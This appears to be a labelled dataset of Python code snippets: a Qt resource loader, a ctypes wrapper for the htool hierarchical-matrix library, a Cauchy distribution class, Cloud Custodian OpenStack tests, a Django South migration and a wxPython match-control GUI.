\x00\x65\x00\x66\x00\x61\x00\x75\x00\x6c\x00\x74\x00\x42\x00\x6f\x00\x6f\x00\x6b\x00\x6d\x00\x61\x00\x72\x00\x6b\x00\x73\x00\x2e\ \x00\x78\x00\x62\x00\x65\x00\x6c\ "" qt_resource_struct = b""\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\ \x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\ "" def qInitResources(): QtCore.qRegisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data) def qCleanupResources(): QtCore.qUnregisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data) qInitResources() ",1 "(ctypes.Structure): """"""Holder for the raw data from the C++ code."""""" pass class AbstractMultiHMatrix: """"""Common code for the two actual MultiHMatrix classes below."""""" ndim = 2 # To mimic a numpy 2D array def __init__(self, c_data: _C_MultiHMatrix, **params): # Users should use one of the two constructors below. self.c_data = c_data self.shape = (self.lib.multi_nbrows(c_data), self.lib.multi_nbcols(c_data)) self.size = self.lib.nbhmats(c_data) self.lib.getHMatrix.restype=ctypes.POINTER(_C_HMatrix) self.lib.getHMatrix.argtypes=[ctypes.POINTER(_C_MultiHMatrix), ctypes.c_int] self.hmatrices = [] for l in range(0,self.size): c_data_hmatrix = self.lib.getHMatrix(self.c_data,l) self.hmatrices.append(HMatrix(c_data_hmatrix,**params)) self.params = params.copy() @classmethod def from_coefs(cls, getcoefs, nm, points_target, points_source=None, **params): """"""Construct an instance of the class from a evaluation function. Parameters ---------- getcoefs: Callable A function evaluating an array of matrices at given coordinates. points_target: np.ndarray of shape (N, 3) The coordinates of the target points. If points_source=None, also the coordinates of the target points points_source: np.ndarray of shape (N, 3) If not None; the coordinates of the source points. epsilon: float, keyword-only, optional Tolerance of the Adaptive Cross Approximation eta: float, keyword-only, optional Criterion to choose the blocks to compress minclustersize: int, keyword-only, optional Minimum shape of a block maxblocksize: int, keyword-only, optional Maximum number of coefficients in a block Returns ------- MultiHMatrix or ComplexMultiHMatrix """""" # Set params. cls._set_building_params(**params) # Boilerplate code for Python/C++ interface. _getcoefs_func_type = ctypes.CFUNCTYPE(None, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_double)) if points_source is None: cls.lib.MultiHMatrixCreateSym.restype = ctypes.POINTER(_C_MultiHMatrix) cls.lib.MultiHMatrixCreateSym.argtypes = [ np.ctypeslib.ndpointer(dtype=np.float64, ndim=2, flags='C_CONTIGUOUS'), ctypes.c_int, _getcoefs_func_type, ctypes.c_int ] # Call the C++ backend. c_data = cls.lib.MultiHMatrixCreateSym(points_target, points_target.shape[0], _getcoefs_func_type(getcoefs),nm) else: cls.lib.MultiHMatrixCreate.restype = ctypes.POINTER(_C_MultiHMatrix) cls.lib.MultiHMatrixCreate.argtypes = [ np.ctypeslib.ndpointer(dtype=np.float64, ndim=2, flags='C_CONTIGUOUS'), ctypes.c_int, np.ctypeslib.ndpointer(dtype=np.float64, ndim=2, flags='C_CONTIGUOUS'), ctypes.c_int, _getcoefs_func_type, ctypes.c_int ] # Call the C++ backend. c_data = cls.lib.MultiHMatrixCreate(points_target,points_target.shape[0],points_source, points_source.shape[0], _getcoefs_func_type(getcoefs),nm) return cls(c_data, **params) @classmethod def from_submatrices(cls, getsubmatrix, nm, points_target, points_source=None, **params): """"""Construct an instance of the class from a evaluation function. Parameters ---------- points: np.ndarray of shape (N, 3) The coordinates of the points. getsubmatrix: Callable A function evaluating the matrix in a given range. epsilon: float, keyword-only, optional Tolerance of the Adaptive Cross Approximation eta: float, keyword-only, optional Criterion to choose the blocks to compress minclustersize: int, keyword-only, optional Minimum shape of a block maxblocksize: int, keyword-only, optional Maximum number of coefficients in a block Returns ------- HMatrix or ComplexHMatrix """""" # Set params. cls._set_building_params(**params) # Boilerplate code for Python/C++ interface. _getsumatrix_func_type = ctypes.CFUNCTYPE( None, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int), ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_double) ) if points_source is None: cls.lib.MultiHMatrixCreatewithsubmatSym.restype = ctypes.POINTER(_C_MultiHMatrix) cls.lib.MultiHMatrixCreatewithsubmatSym.argtypes = [ np.ctypeslib.ndpointer(dtype=np.float64, ndim=2, flags='C_CONTIGUOUS'), ctypes.c_int, _getsumatrix_func_type, ctypes.c_int ] # Call the C++ backend. c_data = cls.lib.MultiHMatrixCreatewithsubmatSym(points_target, points_target.shape[0], _getsumatrix_func_type(getsubmatrix),nm) else: cls.lib.MultiHMatrixCreatewithsubmat.restype = ctypes.POINTER(_C_MultiHMatrix) cls.lib.MultiHMatrixCreatewithsubmat.argtypes = [ np.ctypeslib.ndpointer(dtype=np.float64, ndim=2, flags='C_CONTIGUOUS'), ctypes.c_int, np.ctypeslib.ndpointer(dtype=np.float64, ndim=2, flags='C_CONTIGUOUS'), ctypes.c_int, _getsumatrix_func_type, ctypes.c_int ] # Call the C++ backend. c_data = cls.lib.MultiHMatrixCreatewithsubmat(points_target,points_target.shape[0],points_source, points_source.shape[0], _getsumatrix_func_type(getsubmatrix),nm) return cls(c_data, **params) @classmethod def _set_building_params(cls, *, eta=None, minclustersize=None, epsilon=None, maxblocksize=None): """"""Put the parameters in the C++ backend."""""" if epsilon is not None: cls.lib.setepsilon.restype = None cls.lib.setepsilon.argtypes = [ ctypes.c_double ] cls.lib.setepsilon(epsilon) if eta is not None: cls.lib.seteta.restype = None cls.lib.seteta.argtypes = [ ctypes.c_double ] cls.lib.seteta(eta) if minclustersize is not None: cls.lib.setminclustersize.restype = None cls.lib.setminclustersize.argtypes = [ ctypes.c_int ] cls.lib.setminclustersize(minclustersize) if maxblocksize is not None: cls.lib.setmaxblocksize.restype = None cls.lib.setmaxblocksize.argtypes = [ ctypes.c_int ] cls.lib.setmaxblocksize(maxblocksize) def __str__(self): return f""{self.__class__.__name__}(shape={self.shape})"" def __getitem__(self, key): # self.lib.getHMatrix.restype=ctypes.POINTER(_C_HMatrix) # self.lib.getHMatrix.argtypes=[ctypes.POINTER(_C_MultiHMatrix), ctypes.c_int] # c_data_hmatrix = self.lib.getHMatrix(self.c_data,key) # return HMatrix(c_data_hmatrix,**self.params) return self.hmatrices[key] def matvec(self, l , vector): """"""Matrix-vector product (interface for scipy iterative solvers)."""""" assert self.shape[1] == vector.shape[0], ""Matrix-vector product of matrices of wrong shapes."" # Boilerplate for Python/C++ interface self.lib.MultiHMatrixVecProd.argtypes = [ ctypes.POINTER(_C_MultiHMatrix), ctypes.c_int, np.ctypeslib.ndpointer(self.dtype, flags='C_CONTIGUOUS'), np.ctypeslib.ndpointer(self.dtype, flags='C_CONTIGUOUS') ] # Initialize vector result = np.zeros((self.shape[0],), dtype=self.dtype) # Call C++ backend self.lib.MultiHMatrixVecProd(self.c_data,l , vector, result) return result class MultiHMatrix(AbstractMultiHMatrix): """"""A real-valued hierarchical matrix based on htool C++ library. Create with HMatrix.from_coefs or HMatrix.from_submatrices. Attributes ---------- c_data: Pointer to the raw data used by the C++ library. shape: Tuple[int, int] Shape of the matrix. nb_dense_blocks: int Number of dense blocks in the hierarchical matrix. nb_low_rank_blocks: int Number of sparse blocks in the hierarchical matrix. nb_blocks: int Total number of blocks in the decomposition. params: dict The parameters that have been used to build the matrix. """""" libfile = os.path.join(os.path.dirname(__file__), '../libhtool_shared') if 'linux' in sys.platform: lib = ctypes.cdll.LoadLibrary(libfile+'.so') elif sys.platform == 'darwin': lib = ctypes.cdll.LoadLibrary(libfile+'.dylib') elif sys.platform == 'win32': lib = ctypes.cdll.LoadLibrary(libfile+'.dll') dtype = ctypes.c_double class ComplexMultiHMatrix(AbstractMultiHMatrix): """"""A complex-valued hierarchical matrix based on htool C++ library. Create with ComplexHMatrix.from_coefs or ComplexHMatrix.from_submatrices. Attributes ---------- c_data: Pointer to the raw data used by the C++ library. shape: Tuple[int, int] Shape of the matrix. nb_dense_blocks: int Number of dense blocks in the hierarchical matrix. nb_low_rank_blocks: int Number of sparse blocks in the hierarchical matrix. nb_blocks: int Total number of blocks in the decomposition. params: dict The parameters that have been used to build the matrix. """""" libfile = os.path.join(os.path.dirname(__file__), '../libhtool_shared_complex') if 'linux' in sys.platform: lib = ctypes.cdll.LoadLibrary(libfile+'.so') elif sys.platform == 'darwin': lib = ctypes.cdll.LoadLibrary(libfile+'.dylib') elif sys.platform == 'win32': lib = ctypes.cdll.LoadLibrary(libfile+'.dll') dtype = np.complex128 ",1 "rk for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # ""License""); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # coding: utf-8 # pylint: disable=wildcard-import """"""Cauchy distribution"""""" __all__ = ['Cauchy'] from numbers import Number from numpy import nan, pi from .constraint import Real from .distribution import Distribution from .utils import sample_n_shape_converter from .... import np class Cauchy(Distribution): r""""""Create a relaxed Cauchy distribution object. Parameters ---------- loc : Tensor or scalar, default 0 mode or median of the distribution scale : Tensor or scalar, default 1 half width at half maximum """""" # pylint: disable=abstract-method has_grad = True support = Real() arg_constraints = {'loc': Real(), 'scale': Real()} def __init__(self, loc=0.0, scale=1.0, validate_args=None): self.loc = loc self.scale = scale super(Cauchy, self).__init__( event_dim=0, validate_args=validate_args) @property def mean(self): return nan @property def variance(self): return nan def sample(self, size=None): # TODO: Implement sampling op in the backend. # `np.zeros_like` does not support scalar at this moment. if (isinstance(self.loc, Number), isinstance(self.scale, Number)) == (True, True): u = np.random.uniform(size=size) else: u = np.random.uniform(np.zeros_like( # pylint: disable=too-many-function-args self.loc + self.scale), size=size) return self.icdf(u) def sample_n(self, size=None): return self.sample(sample_n_shape_converter(size)) def log_prob(self, value): if self._validate_args: self._validate_samples(value) return (-np.log(pi) - np.log(self.scale) - np.log(1 + ((value - self.loc) / self.scale) ** 2)) def cdf(self, value): if self._validate_args: self._validate_samples(value) return np.arctan((value - self.loc) / self.scale) / pi + 0.5 def icdf(self, value): return np.tan(pi * (value - 0.5)) * self.scale + self.loc def entropy(self): return np.log(4 * pi) + np.log(self.scale) ",1 "Test): def test_server_query(self): factory = self.replay_flight_data() p = self.load_policy({ 'name': 'all-servers', 'resource': 'openstack.server'}, session_factory=factory) resources = p.run() self.assertEqual(len(resources), 2) def test_server_filter_name(self): factory = self.replay_flight_data() policy = { 'name': 'get-server-c7n-test-1', 'resource': 'openstack.server', 'filters': [ { ""type"": ""value"", ""key"": ""name"", ""value"": ""c7n-test-1"", }, ], } p = self.load_policy(policy, session_factory=factory) resources = p.run() self.assertEqual(len(resources), 1) self.assertEqual(resources[0].name, ""c7n-test-1"") def test_server_filter_flavor(self): factory = self.replay_flight_data() policy = { 'name': 'get-server-c7n-test-1', 'resource': 'openstack.server', 'filters': [ { ""type"": ""flavor"", ""flavor_name"": ""m1.tiny"", }, ], } p = self.load_policy(policy, session_factory=factory) resources = p.run() self.assertEqual(len(resources), 1) self.assertEqual(resources[0].name, ""c7n-test-1"") def test_server_filter_tags(self): factory = self.replay_flight_data() policy = { 'name': 'get-server-c7n-test-1', 'resource': 'openstack.server', 'filters': [ { ""type"": ""tags"", ""tags"": [ { ""key"": ""a"", ""value"": ""a"", }, { ""key"": ""b"", ""value"": ""b"", }, ], ""op"": ""all"", }, ], } p = self.load_policy(policy, session_factory=factory) resources = p.run() self.assertEqual(len(resources), 1) self.assertEqual(resources[0].name, ""c7n-test-2"") ",1 " import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'ArticleComment' db.create_table('cms_articlecomment', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('article', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['cms.Article'])), ('created_at', self.gf('django.db.models.fields.DateField')(auto_now_add=True, blank=True)), ('author', self.gf('django.db.models.fields.CharField')(max_length=60)), ('comment', self.gf('django.db.models.fields.TextField')()), )) db.send_create_signal('cms', ['ArticleComment']) def backwards(self, orm): # Deleting model 'ArticleComment' db.delete_table('cms_articlecomment') models = { 'auth.group': { 'Meta': {'object_name': 'Group'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': ""orm['auth.Permission']"", 'symmetrical': 'False', 'blank': 'True'}) }, 'auth.permission': { 'Meta': {'ordering': ""('content_type__app_label', 'content_type__model', 'codename')"", 'unique_together': ""(('content_type', 'codename'),)"", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['contenttypes.ContentType']""}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'auth.user': { 'Meta': {'object_name': 'User'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': ""orm['auth.Group']"", 'symmetrical': 'False', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': ""orm['auth.Permission']"", 'symmetrical': 'False', 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}) }, 'cms.article': { 'Meta': {'ordering': ""['title']"", 'object_name': 'Article'}, 'allow_comments': ('django.db.models.fields.CharField', [], {'default': ""'N'"", 'max_length': '1'}), 'author': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['auth.User']""}), 'content': ('django.db.models.fields.TextField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}), 'conversions': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'created_at': ('django.db.models.fields.DateField', [], {'default': 'datetime.datetime.now'}), 'header': ('django.db.models.fields.TextField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'keywords': ('django.db.models.fields.TextField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}), 'sections': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': ""orm['cms.Section']"", 'null': 'True', 'through': ""orm['cms.SectionItem']"", 'blank': 'True'}), 'slug': ('django.db.models.fields.SlugField', [], {'unique': 'True', 'max_length': '250', 'blank': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '250'}), 'updated_at': ('django.db.models.fields.DateField', [], {'auto_now': 'True', 'blank': 'True'}), 'views': ('django.db.models.fields.IntegerField', [], {'default': '0'}) }, 'cms.articlearchive': { 'Meta': {'ordering': ""('updated_at',)"", 'object_name': 'ArticleArchive'}, 'article': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['cms.Article']""}), 'content': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'header': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['auth.User']""}) }, 'cms.articlecomment': { 'Meta': {'ordering': ""('created_at',)"", 'object_name': 'ArticleComment'}, 'article': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['cms.Article']""}), 'author': ('django.db.models.fields.CharField', [], {'max_length': '60'}), 'comment': ('django.db.models.fields.TextField', [], {}), 'created_at': ('django.db.models.fields.DateField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}) }, 'cms.filedownload': { 'Meta': {'object_name': 'FileDownload'}, 'count': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'expires_at': ('django.db.models.fields.DateTimeField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}), 'file': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['filer.File']""}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'uuid': ('uuidfield.fields.UUIDField', [], {'unique': 'True', 'max_length': '32', 'blank': 'True'}) }, 'cms.menu': { 'Meta': {'object_name': 'Menu'}, 'article': ('smart_selects.db_fields.ChainedForeignKey', [], {'default': 'None', 'to': ""orm['cms.Article']"", 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), u'level': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), u'lft': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'link': ('django.db.models.fields.CharField', [], {'max_length': '250', 'null': 'True', 'blank': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}), 'parent': ('mptt.fields.TreeForeignKey', [], {'blank': 'True', 'related_name': ""'children'"", 'null': 'True', 'to': ""orm['cms.Menu']""}), u'rght': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'section': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['cms.Section']"", 'null': 'True', 'blank': 'True'}), u'tree_id': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}) }, 'cms.section': { 'Meta': {'ordering': ""['title']"", 'object_name': 'Section'}, 'articles': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': ""orm['cms.Article']"", 'null': 'True', 'through': ""orm['cms.SectionItem']"", 'blank': 'True'}), 'conversions': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'header': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'keywords': ('django.db.models.fields.TextField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}), 'slug': ('django.db.models.fields.SlugField', [], {'max_length': '250', 'blank': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '250'}), 'views': ('django.db.models.fields.IntegerField', [], {'default': '0'}) }, 'cms.sectionitem': { 'Meta': {'ordering': ""['order']"", 'object_name': 'SectionItem'}, 'article': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['cms.Article']""}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'order': ('django.db.models.fields.PositiveIntegerField', [], {'default': '1', 'db_index': 'True'}), 'section': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['cms.Section']""}) }, 'cms.urlmigrate': { 'Meta': {'object_name': 'URLMigrate'}, 'dtupdate': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'auto_now_add': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'new_url': ('django.db.models.fields.CharField', [], {'max_length': '250'}), 'obs': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'old_url': ('django.db.models.fields.CharField', [], {'max_length': '250', 'db_index': 'True'}), 'redirect_type': ('django.db.models.fields.CharField', [], {'max_length': '1'}), 'views': ('django.db.models.fields.IntegerField', [], {'default': '0'}) }, 'contenttypes.contenttype': { 'Meta': {'ordering': ""('name',)"", 'unique_together': ""(('app_label', 'model'),)"", 'object_name': 'ContentType', 'db_table': ""'django_content_type'""}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, 'filer.file': { 'Meta': {'object_name': 'File'}, '_file_size': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}), 'description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'file': ('django.db.models.fields.files.FileField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'folder': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': ""'all_files'"", 'null': 'True', 'to': ""orm['filer.Folder']""}), 'has_all_mandatory_data': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_public': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'modified_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'default': ""''"", 'max_length': '255', 'blank': 'True'}), 'original_filename': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'owner': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': ""'owned_files'"", 'null': 'True', 'to': ""orm['auth.User']""}), 'polymorphic_ctype': ('django.db.models.fields.related.ForeignKey', [], {'related_name': ""'polymorphic_filer.file_set'"", 'null': 'True', 'to': ""orm['contenttypes.ContentType']""}), 'sha1': ('django.db.models.fields.CharField', [], {'default': ""''"", 'max_length': '40', 'blank': 'True'}), 'uploaded_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) }, 'filer.folder': { 'Meta': {'ordering': ""('name',)"", 'unique_together': ""(('parent', 'name'),)"", 'object_name': 'Folder'}, 'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), u'level': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), u'lft': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'modified_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'owner': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': ""'filer_owned_folders'"", 'null': 'True', 'to': ""orm['auth.User']""}), 'parent': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': ""'children'"", 'null': 'True', 'to': ""orm['filer.Folder']""}), u'rght': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), u'tree_id': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'uploaded_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) } } complete_apps = ['cms']",1 " import configurator BLUE = (24, 25, 141) GOLD = (241, 169, 50) class TeamPanel(wx.Panel): def __init__(self, remote, letter, number, name, colour, *args, **kwargs): super(TeamPanel, self).__init__(*args, **kwargs) self.remote = remote self.InitUI(letter, number, name, colour) def InitUI(self, letter, number, name, colour=None): if colour is not None: self.SetBackgroundColour(colour) dc = wx.ScreenDC() self.num_ctrl = wx.TextCtrl(self, size=(dc.GetCharWidth() * 2, dc.GetCharHeight())) self.num_ctrl.AppendText(str(number)) self.get_button = wx.Button(self, label='Get', size=(dc.GetCharWidth() * 2, dc.GetCharHeight())) self.get_button.Bind(wx.EVT_BUTTON, self.do_get_name) self.name_ctrl = wx.TextCtrl(self, size=(dc.GetCharWidth() * 16, dc.GetCharHeight())) self.name_ctrl.AppendText(name) name_num_box = wx.BoxSizer(wx.HORIZONTAL) name_num_box.Add(wx.StaticText(self, label=letter, size=(dc.GetCharWidth() * 0.6, dc.GetCharHeight()))) name_num_box.Add(self.num_ctrl) name_num_box.Add(self.get_button) name_num_box.Add(self.name_ctrl) #button_box = wx.BoxSizer(wx.HORIZONTAL) #button_box.Add(wx.Button(self, label='Reset')) #button_box.Add(wx.Button(self, label='Configure')) #button_box.Add(wx.Button(self, label='Disable')) self.vbox = wx.BoxSizer(wx.VERTICAL) self.vbox.Add(name_num_box, flag=wx.CENTER) #vbox.Add(button_box, flag=wx.CENTER) self.SetSizer(self.vbox) self.Show(True) def do_get_name(self, event): self.name = configurator.get_team_name(self.number) @property def name(self): return self.name_ctrl.GetValue() @name.setter def name(self, val): self.name_ctrl.SetValue(val) @property def number(self): try: return int(self.num_ctrl.GetValue()) except ValueError: return 0 @number.setter def number(self, val): self.num_ctrl.SetValue(str(val)) class MatchControl(wx.Panel): def __init__(self, remote, *args, **kwargs): super(MatchControl, self).__init__(*args, **kwargs) self.remote = remote self.InitUI() def InitUI(self): vbox = wx.BoxSizer(wx.VERTICAL) dc = wx.ScreenDC() match_number = wx.BoxSizer(wx.HORIZONTAL) match_number.Add(wx.StaticText(self, label='Match #'.format(1))) self.match_num_ctrl = wx.TextCtrl(self, size=(dc.GetCharWidth() * 2, dc.GetCharHeight())) match_number.Add(self.match_num_ctrl) vbox.Add(match_number, flag=wx.CENTER) teamSizer = wx.GridSizer(3, 2) self.team_panels = [ TeamPanel(self.remote, 'A', 0, 'Unknown Team', BLUE, self), TeamPanel(self.remote, 'C', 0, 'Unknown Team', GOLD, self), TeamPanel(self.remote, 'B', 0, 'Unknown Team', BLUE, self), TeamPanel(self.remote, 'D', 0, 'Unknown Team', GOLD, self), ] teamSizer.AddMany( [wx.StaticText(self, label='Blue Team'), wx.StaticText(self, label='Gold Team')] + [(panel, 0) for panel in self.team_panels]) vbox.Add(teamSizer, flag=wx.CENTER) buttons = wx.BoxSizer(wx.HORIZONTAL) self.init_button = wx.Button(self, label='Init') self.init_button.Bind(wx.EVT_BUTTON, self.do_init) self.go_button = wx.Button(self, label='GO!') self.go_button.Bind(wx.EVT_BUTTON, self.do_go) self.pause_button = wx.Button(self, label='Pause') self.pause_button.Bind(wx.EVT_BUTTON, self.do_pause) #self.save_button = wx.Button(self, label='Save') #self.save_button.Bind(wx.EVT_BUTTON, self.do_save) self.time_text = wx.StaticText(self, label='0:00') self.stage_text = wx.StaticText(self, label='Unknown') self.remote.time_text = self.time_text #buttons.Add(self.save_button, flag=wx.LEFT) buttons.Add(self.init_button) buttons.Add(self.go_button) buttons.Add(self.pause_button) buttons.Add(self.time_text) buttons.Add(self.stage_text) vbox.Add(buttons, flag=wx.CENTER) self.SetSizer(vbox) self.Show(True) def do_go(self, e): self.remote.do_go() def do_pause(self, e): self.remote.do_pause() def do_save(self, e): self.remote.do_save(self.get_match()) def do_init(self, e): self.remote.do_init(self.get_match()) def _set_match_panel(self, match, team_idx, panel_idx): match.team_numbers[team_idx] = self.team_panels[panel_idx].number match.team_names[team_idx] = self.team_panels[panel_idx].name def _set_panel_match(self, match, team_idx, panel_idx): self.team_panels[panel_idx].number = match.team_numbers[team_idx] self.team_panels[panel_idx].name = match.team_names[team_idx] def get_match(self): match = Forseti.Match() self._set_match_panel(match, 0, 0) self._set_match_panel(match, 1, 2) self._set_match_panel(match, 2, 1) self._set_match_panel(match, 3, 3) try: match.match_number = int(self.match_num_ctrl.GetValue()) except ValueError: match.match_number = random.getrandbits(31) return match def set_match(self, match): self._set_panel_match(match, 0, 0) self._set_panel_match(match, 1, 2) self._set_panel_match(match, 2, 1) self._set_panel_match(match, 3, 3) self.match_num_ctrl.SetValue(str(match.match_number)) def set_time(self, match): self.time_text.SetLabel(format_time(match.game_time_so_far)) self.stage_text.SetLabel(match.stage_name) class ScheduleControl(wx.Panel): def __init__(self, remote, match_control, *args, **kwargs): self.remote = remote super(ScheduleControl, self).__init__(*args, **kwargs) self.InitUI() self.remote.match_list_box = self.match_list self.match_control = match_control def InitUI(self): self.match_list = wx.ListBox(self) self.match_list.Bind(wx.EVT_LISTBOX, self.choose_match) hbox = wx.BoxSizer(wx.HORIZONTAL) self.load_button = wx.Button(self, label='Load All') self.load_button.Bind(wx.EVT_BUTTON, self.do_load) hbox.Add(self.load_button) self.clear_first = wx.CheckBox(self, label='Clear first') self.clear_first.SetValue(True) hbox.Add(self.clear_first) vbox = wx.BoxSizer(wx.VERTICAL) vbox.Add(self.match_list, 1, wx.EXPAND) vbox.Add(hbox) self.SetSizer(vbox) self.Show(True) def do_load(self, e): self.remote.do_load(self.clear_first.GetValue()) def choose_match(self, event): self.match_control.set_match(event.GetClientData()) class MainWindow(wx.Frame): def __init__(self, remote, *args, **kwargs): super(MainWindow, self).__init__(*args, **kwargs) self.remote = remote self.InitUI() def InitUI(self): menubar = wx.MenuBar() fileMenu = wx.Menu() fitem = fileMenu.Append(wx.ID_EXIT, 'Quit', 'Quit application') menubar.Append(fileMenu, '&File') self.SetMenuBar(menubar) match_control = MatchControl(self.remote, self) schedule_control = ScheduleControl(self.remote, match_control, self) self.remote.match_control = match_control vbox = wx.BoxSizer(wx.VERTICAL) vbox.Add(match_control, 0, wx.ALIGN_CENTER | wx.ALIGN_TOP, 8) vbox.Add(schedule_control, 1, wx.EXPAND | wx.ALIGN_CENTER | wx.ALL, 8) self.Bind(wx.EVT_MENU, self.OnQuit, fitem) self.SetSize((800, 600)) 